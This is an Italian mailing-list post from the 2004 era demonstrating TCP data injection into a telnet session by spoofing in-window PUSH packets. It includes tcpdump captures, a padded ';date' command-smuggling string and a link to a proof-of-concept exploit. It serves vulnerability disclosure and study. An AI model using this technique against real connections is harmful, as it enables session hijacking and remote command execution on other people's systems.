TCP injection

Nell'advisory che riportava la vulnerabilità *scoperta* da Watson si può 
leggere:

"Data injection may be possible. However, this has not been demonstrated and 
appears to be problematic."

A mio avviso un attacco di injection non è poi così improponibile come sembra.
Tutto ciò di cui abbiamo bisogno sono le stesse informazioni necessarie per 
eseguire il reset descritto da Watson e una minima dose di *fortuna*
per indovinare un sequence number all'interno della window ovvero il cui 
valore si trova nel range:

	sequence number atteso <= seq <= sequence number atteso + window size

Personalmente ho eseguito alcuni test su una linux box con kernel 2.4.18 e la 
cosa sembra funzionare.
Il test è stato condotto in questo modo:

Host A: è il server su cui ho eseguito nc -l -p 23
Host B: è il client su cui ho eseguito telnet A 23
Host C: è la macchina da cui parte l'attacco

L'host B stabilisce una connessione con A.
L'attacco si svolge con le stesse modalità utilizzate nell'attacco descritto 
da Watson, ciò che cambia è il tipo di pacchetto inviato.
Questa volta, infatti, non invieremo un pacchetto TCP con flag RST o SYN 
settato bensì un pacchetto con flag PUSH settato e un payload con
i dati che desideriamo iniettare.


# tcpdump -nS port 23
tcpdump: listening on eth0

Come prima cosa l'host B (192.168.1.5) stabilisce una connessione con l'host A 
(192.168.1.6):
19:08:18.296874 192.168.1.5.32777 > 192.168.1.6.23: S 4103950798:4103950798(0) 
win 5840 <mss 1460,sackOK,timestamp 165427[|tcp]> (DF) [tos 0x10]
19:08:18.297132 192.168.1.6.23 > 192.168.1.5.32777: S 3515303666:3515303666(0) 
ack 4103950799 win 5792 <mss 1460,sackOK,timestamp 114458[|tcp]> (DF)
19:08:18.297162 192.168.1.5.32777 > 192.168.1.6.23: . ack 3515303667 win 5840 
<nop,nop,timestamp 165427 114458> (DF) [tos 0x10]



su telnet che gira sul client digitiamo la frase "riga di prova" che verrà 
inviata al server
che la visualizzerà nel terminale
19:08:29.045002 192.168.1.5.32777 > 192.168.1.6.23: P 
4103950799:4103950814(15) ack 3515303667 win 5840 <nop,nop,timestamp 166502 
114458> (DF) [tos 0x10]
19:08:29.045216 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950814 win 5792 
<nop,nop,timestamp 115533 166502> (DF)



proviamo a iniettare 300 caratteri 'a' all'interno dello stream tcp dall'host 
C spoofando l'ip sorgente
e usando un sequence number 4103951000 che si trova all'interno della window:
19:09:53.127765 192.168.1.5.32777 > 192.168.1.6.23: P 
4103951000:4103951302(302) win 31337

l'host A ci risponde con un ack 4103950814 il che vuol dire che il prossimo 
pacchetto che si aspettava di ricevere
avrebbe dovuto avere un sequence number 4103950814 e non quello che abbiamo 
inviato noi.
Ad ogni modo il pacchetto malizioso visto che rientra nella window non viene 
scartato bensì viene memorizzato
19:09:53.128223 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950814 win 5792 
<nop,nop,timestamp 123941 166502,nop,nop,[|tcp]> (DF)

ora l'host B invia diversi pacchetti di 80 byte contenenti sequenze di 
caratteri 'o'
19:15:15.234207 192.168.1.5.32777 > 192.168.1.6.23: P 
4103950814:4103950897(83) ack 3515303667 win 5840 <nop,nop,timestamp 207121 
123941> (DF) [tos 0x10]
19:15:15.234480 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950897 win 5792 
<nop,nop,timestamp 156151 207121,nop,nop,[|tcp]> (DF)
19:15:21.990199 192.168.1.5.32777 > 192.168.1.6.23: P 
4103950897:4103950980(83) ack 3515303667 win 5840 <nop,nop,timestamp 207797 
156151> (DF) [tos 0x10]
19:15:21.990652 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950980 win 5792 
<nop,nop,timestamp 156827 207797,nop,nop,[|tcp]> (DF)
19:15:29.662549 192.168.1.5.32777 > 192.168.1.6.23: P 
4103950980:4103951063(83) ack 3515303667 win 5840 <nop,nop,timestamp 208564 
156827> (DF) [tos 0x10]

l'host A risponde con ack 4103951302 e non con 4103951063 come ci saremmo 
attesi!
Questo perchè il pacchetto malizioso dal sequence number elevato è stato 
accodato all'interno dello stream tcp.
Da qui in poi la sessione viene desincronizzata e non è possibile proseguire, 
ad ogni modo siamo riusciti ad
iniettare 300 byte nello stream tcp.
19:15:29.662821 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103951302 win 5792 
<nop,nop,timestamp 157594 208564,nop,nop,[|tcp]> (DF)


Ecco come appaiono le due sessione telnet e netcat:

# telnet 192.168.1.6 23
Trying 192.168.1.6...
Connected to 192.168.1.6.
Escape character is '^]'.
riga di prova
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo



# nc -l -p 23
riga di prova
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


Vediamo di semplificare un po'.
1) L'host A è il server ed è in attesa del pacchetto dal SN (sequence number) 
100;
2) L'attacker invia un pacchetto con SN 110, all'intero della window, che 
contiene i dati da iniettare che sono rappresentati
dalla seguente stringa "0123456789";
3) L'host B (il client) invia la seguente stringa di 13 byte "aaaaaaaaaaaaa";
4) Lo stack della macchina A concatena i due pacchetti in questo modo: 
"aaaaaaaaaaaaa3456789" ovvero si mangia alcuni byte
del pacchetto successivo;


Dunque siamo in grado di iniettare una sequenza di byte arbitraria nel flusso 
TCP.
Ma c'è ancora un problema, alcuni byte vengono *mangiati* quando i due 
pacchetti vengono concatenati.
Mettiamo che io voglia eseguire un comando in una sessione telnet, potrei 
inviare un pacchetto con SN che cade all'interno della
window che contenga il mio comando. Ma chi mi garantisce che una volta 
concatenati i due pacchetti il mio comando non venga parzialmente
o totalmente sovrascritto.

Per risolvere anche questo problema posso usare degli stratagemmi a seconda 
del protocollo applicativo a cui devo inviare comandi.
Esempio, se devo eseguire il comando "date" in una sessione telnet invierò una 
stringa tipo:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;date\n

La shell ritornerà un errore e poi eseguirà il comando. diciamo che la 
sequenza di 'a' riveste un po' lo stesso scopo
dei NOP 0x90 in uno shellcode :) Non sappiamo esattamente come verranno 
concatenati i pacchetti perciò ci diamo un po' di margine

bash: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: 
command not found
Sat May  1 20:03:36 UTC 2004

Potete trovare un exploit proof of concept al seguente indirizzo:

http://alternauts.altervista.org/tcp_inject.c

gcc tcp_inject.c -lnet
Per compilarlo servono le libnet 1.1.x.

ciao
eazy


________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List